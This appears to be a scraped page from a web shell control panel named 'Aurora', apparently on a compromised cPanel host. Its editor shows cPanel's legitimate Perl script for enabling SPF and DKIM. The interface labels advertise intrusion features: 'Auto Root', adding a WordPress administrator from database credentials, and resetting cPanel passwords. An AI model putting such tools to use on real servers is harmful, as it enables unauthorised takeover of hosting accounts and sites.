Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
scripts
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: enable_spf_dkim_globally
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/enable_spf_dkim_globally Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited # package scripts::enable_spf_dkim_globally; use strict; use warnings; use Cpanel::SPF (); use Cpanel::DKIM::Transaction (); use Cpanel::Logger (); use Cpanel::Config::Users (); use Cpanel::Config::CpUserGuard (); use Cpanel::Config::LoadCpUserFile (); use Cpanel::DnsUtils::AskDnsAdmin (); use Cpanel::DnsUtils::Fetch (); use Cpanel::PwCache::Build (); use Cpanel::ZoneFile (); use Cpanel::Config::LoadUserDomains (); use Cpanel::ServerTasks (); use Getopt::Long (); my $DOMAINS_TO_RELOAD_EACH_CALL = 2048; my $DKIM_RECORD_NAME_PREFIX = 'default._domainkey.'; my $DKIM_RECORD_NAME_PREFIX_LENGTH = length $DKIM_RECORD_NAME_PREFIX; our $logger; our @USERS = (); sub new { my $pkg = shift; return bless { domains_by_user => scalar Cpanel::Config::LoadUserDomains::loaduserdomains( undef, 0, 1 ), reload_zones => [], }, $pkg; } sub as_script { my $self = shift; $logger //= Cpanel::Logger->new(); my $execute; Getopt::Long::GetOptions( "user=s" => \@USERS, "x" => \$execute, ); if ( not $execute ) { my $msg = qq{To execute, use the -x flag.}; $logger->die($msg); } $self->run(); return 1; } sub run { my $self = shift; my $options_href = shift; # { users => [qw/user1 user2/] } $logger //= Cpanel::Logger->new(); my @users = ( exists $options_href->{user} and @{ $options_href->{user} } ) ? # @{ $options_href->{user} } : # scalar @USERS ? # @USERS : # Cpanel::Config::Users::getcpusers(); # Cpanel::PwCache::Build::init_passwdless_pwcache() if scalar @users > 5; my $domains_by_user = $self->{domains_by_user}; USERS: foreach my $user (@users) { unless ( exists $domains_by_user->{$user} ) { $logger->warn(qq{Invalid user "$user", skipping.}); next USERS; } my $users_domains_ref = $domains_by_user->{$user}; $self->_enable_spf_dkim_cpusers_file($user); my $zone_ref = Cpanel::DnsUtils::Fetch::fetch_zones( 'zones' => $users_domains_ref ); $self->_setup_spf_for_all_users_domains( $user, $zone_ref ); $zone_ref = Cpanel::DnsUtils::Fetch::fetch_zones( 'zones' => $users_domains_ref ); # Need to fetch again in case setup_spf has modified them $self->_setup_dkim_for_users_domains_without_it( $user, $zone_ref ); push @{ $self->{'reload_zones'} }, grep { exists $zone_ref->{$_} } @$users_domains_ref; } $self->_reload_zones(); Cpanel::ServerTasks::queue_task( ['DKIMTasks'], 'refresh_entire_dkim_validity_cache' ); return 1; } sub _setup_spf_for_all_users_domains { my ( $self, $user, $zone_ref ) = @_; my $users_domains_ref = $self->{domains_by_user}->{$user}; # set up SPF on all domains owned by $users my ( $status, $msg ) = Cpanel::SPF::setup_spf( 'user' => $user, 'preserve' => 1, 'skipreload' => 1, 'zone_ref' => $zone_ref ); $logger->warn(qq{Failed to set up SPF for $user: $msg}) unless $status; return $status; } sub _setup_dkim_for_users_domains_without_it { my ( $self, $user, $zone_ref ) = @_; my $users_domains_ref = $self->{domains_by_user}->{$user}; my $seen_dkim_for_domain_hr = _find_domains_that_have_dkim_installed($zone_ref); foreach my $domain (@$users_domains_ref) { if ( $seen_dkim_for_domain_hr->{$domain} ) { $logger->info(qq{"default._domainkey" DKIM TXT record detected for $domain, skipping.}); } } my @domains_to_setup_dkim_on = grep { !$seen_dkim_for_domain_hr->{$_} } @$users_domains_ref; if (@domains_to_setup_dkim_on) { my $dkim = Cpanel::DKIM::Transaction->new(); my @w; my $result = do { local $SIG{'__WARN__'} = sub { push @w, @_ }; $dkim->set_up_user_domains( $user, \@domains_to_setup_dkim_on, $zone_ref, ); }; $dkim->commit(); if ( !$result || !$result->was_any_success() ) { $logger->warn(qq{Failed to set up DKIM for $user: @w}); } return $result->was_any_success(); } return; } sub _enable_spf_dkim_cpusers_file { my ( $self, $user ) = @_; my $cpuser_data = Cpanel::Config::LoadCpUserFile::loadcpuserfile($user); if ( !$cpuser_data->{'HASSPF'} || !$cpuser_data->{'HASDKIM'} ) { # check each domain to make sure that we don't overwrite SPF my $lock = Cpanel::Config::CpUserGuard->new($user); $lock->{data}{HASSPF} = 1; $lock->{data}{HASDKIM} = 1; $lock->save; } return 1; } sub _reload_zones { my ($self) = @_; while ( @{ $self->{'reload_zones'} } ) { Cpanel::DnsUtils::AskDnsAdmin::askdnsadmin( 'RELOADZONES', 0, join( ',', splice( @{ $self->{'reload_zones'} }, 0, $DOMAINS_TO_RELOAD_EACH_CALL ) ) ); } return 1; } sub _find_domains_that_have_dkim_installed { my ($zone_ref) = @_; my %seen_dkim_for_domain; foreach my $zone ( keys %$zone_ref ) { my $dkim_records_ar = _get_dkim_records_from_zone_ref( $zone, $zone_ref->{$zone} ); foreach my $record (@$dkim_records_ar) { my $record_name_without_prefix = substr( $record->{'name'}, $DKIM_RECORD_NAME_PREFIX_LENGTH ); my $domain = _convert_zone_name_to_domain( $record_name_without_prefix, $zone ); $seen_dkim_for_domain{$domain} = 1; } } return \%seen_dkim_for_domain; } sub _get_dkim_records_from_zone_ref { my ( $zone, $zone_contents_ar ) = @_; my $zone_obj = Cpanel::ZoneFile->new( 'domain' => $zone, 'text' => $zone_contents_ar ); return [ grep { index( $_->{'name'}, $DKIM_RECORD_NAME_PREFIX ) == 0 } $zone_obj->find_records( { 'type' => 'TXT' } ) ]; } sub _convert_zone_name_to_domain { my ( $zone_name_record, $zone ) = @_; # If the name does not end with a . we must append .$zone if ( substr( $zone_name_record, -1 ) eq '.' ) { return substr( $zone_name_record, 0, -1 ); # strip tailing . } return $zone_name_record . '.' . $zone; } if ( not caller() ) { my $enable = scripts::enable_spf_dkim_globally->new(); $enable->as_script; exit 0; } 1; __END__ =head1 NAME /scripts/enable_spf_dkim_globally =head1 USAGE AS A SCRIPT /scripts/enable_spf_dkim_globally -x [--user=<user1>] [--user=<user2>] ... [--user=<userN>] =head2 AS A LIBRARY This script is internally written as a modulino, which means it can be C<require>'d: use strict; require q{/scripts/enable_spf_dkim_globally}; my $enable = scripts::enable_spf_dkim_globally->new(); $enable->run(); # globally enable, iterate over domains from all users $enable->run( { user => [qw/username1 username2/] }); # globally enable, iterate over domains from list of specified users =head1 DESCRIPTION This script enables C<SPF> and C<DKIM> system-wide, and it adds respective C<DNS> entries for all domains if none exist. If a C<DKIM DNS> record is detected for a domain, it remains untouched. If a C<SPF> record exists, it is updated. The scope of the domains that are affected with new C<DKIM>/C<SPF> or updated C<SPF> records may be limited by using the C<--user> flag to specify one or more users from whom the list of domains to affect is generated. =head1 REQUIRED COMMAND LINE ARGUMENTS =over 4 =item -x Use this option to actually run the script, otherwise it will warn and return without doing anything. =back =head1 COMMAND LINE OPTIONS =over 4 =item --user C<username> Specify a user or list of users for whom all domains are enabled rather than all user accounts on the system. Specify more than one user by using one C<--user> per username. For example, /scripts/enable_spf_dkim_globally -x --user="username1" --user="username2" If no users are specified, all domains for all user accounts on the system are enabled. =back =head1 DIAGNOSTICS None =head1 EXIT STATUS Exit status is 0 (success) unless an unexpected error occurs. =head1 DEPENDENCIES None =head1 INCOMPATIBILITIES None =head1 BUGS AND LIMITATIONS None =head1 LICENSE AND COPYRIGHT Copyright 2022 cPanel, L.L.C.